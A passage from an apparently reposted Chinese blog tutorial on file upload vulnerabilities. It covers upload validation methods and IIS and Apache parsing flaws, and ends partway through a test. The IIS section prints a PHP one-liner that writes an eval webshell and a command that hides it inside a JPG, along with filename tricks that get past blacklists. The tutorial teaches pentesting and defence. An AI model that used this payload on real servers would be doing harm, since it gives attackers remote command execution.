Web渗透(六)文件上传漏洞

https://www.secpulse.com/archives/116338.html

1、漏洞简介

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。

原理如下图所示:
在这里插入图片描述

2、漏洞危害

上传漏洞与SQL注入或者XSS相比,危害更大。

如果Web应用程序存在上传漏洞,攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。

如果上传的文件是Flash的策略文件crossdomain.xml,那么攻击者就可以控制Flash在该域下的行为。

如果上传的文件是病毒、木马,攻击者可以诱骗用户或者管理员下载执行。

如果上传的文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

如果上传的文件是webshell,那么攻击者就可以完全控制系统或致使系统瘫痪。

3、文件上传校验

3.1、客户端校验

这类检测通常在上传页面里含有专门检测文件上传的JavaScript代码,通过JavaScript来校验上传文件的后缀是否合法。可以采用白名单,也可以采用黑名单的方式。

判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg / .jpeg / .png后缀名的文件,而此时并没有发送数据包。

进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)

3.2、服务器端校验

(1)MIME类型检测

MIME是描述消息内容类型的因特网标准。浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL。如果MIME配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作。

也就是对请求包中的content-type字段进行校验,常见MIMETYPE

audio/mpeg ----> .mp3
application/msword ----> .doc
application/octet-stream ----> .exe
application/pdf ----> .pdf
application/x-javascript ----> .js
application/x-rar ----> .rar
application/zip ----> .zip
image/gif ----> .gif
image/png ----> .png
text/plain ----> .txt
text/html ----> .html
video/mp4 ----> .mp4

(2)目录路径校验

上传的数据包中,如果存在path(或者其他跟路径有关的名称)等能够操作上传路径的参数,修改该参数配合解析漏洞可以get webshell。

(3)文件幻数(文件头)校验

文件幻数,可以用来标记文件或者协议的格式。很多文件都有幻数标志来表明该文件的格式。

(4)文件扩展名校验

(1)黑名单检测:

服务端会有一个blacklist文件,包含了常见的危险脚本类型,例如:php,asp,js等。

(2)白名单检测:

仅允许指定的文件类型上传,比如仅允许上传jpg,doc等文件,其他全部禁止。

检测跟文件extension相关的内容

(5)自定义正则校验

4、绕过文件校验

5、经典漏洞剖析

6.1、解析漏洞
(一)IIS解析漏洞
(1)IIS <= 6.0

原理:

使用iis5.x-6.x版本的服务器,大多为Windows server 2003 ,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

(1)目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认会把.asp目录下的文件(即使非asp格式)都解析成asp文件。

(2)分号文件解析

形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。默认的可执行文件后缀还有三个 “ .asa ”,“ .cer ”,“ .cdx ” ,可以绕过黑名单。

(2)IIS 7.0 & 7.5畸形解析漏洞

默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件。

例如:

将shell语句写在文本xx.txt中,

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 

然后用命令将shell语句附加在正常图片xx.jpg后

copy xx.jpg/b + xx.txt/a test.jpg

上传test.jpg后,访问test.jpg/.php或者test.jpg/abc.php当前目录下就会生成一句话木马shell.php。

(二)Apache解析漏洞
(1)文件名解析

与Windows不同,Apache解析文件的规则是从右到左开始判断解析,如果最右边后缀名为不可识别文件,就会向左判断后缀,直到遇到自己能解析的文件名为止。

比如:test.php.abc中.abc后缀apache不可识别,apache就会把文件解析成test.php文件。

Apache的文件名扩展名定义写在conf/mime.types文件中。

在这里插入图片描述
我们这里测试
在这里插入图片描述将文件名修改为test.php.xxx上传,当访问时可以正常执行。

在这里插入图片描述
但是,也有不正常的时候。

既然可以正常解析,那么我们可以利用它绕过一些规则,比如上传文件的黑名单,并使其正常解析,但是这里我自己测试,并没有像网上的资料一样正常解析:

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值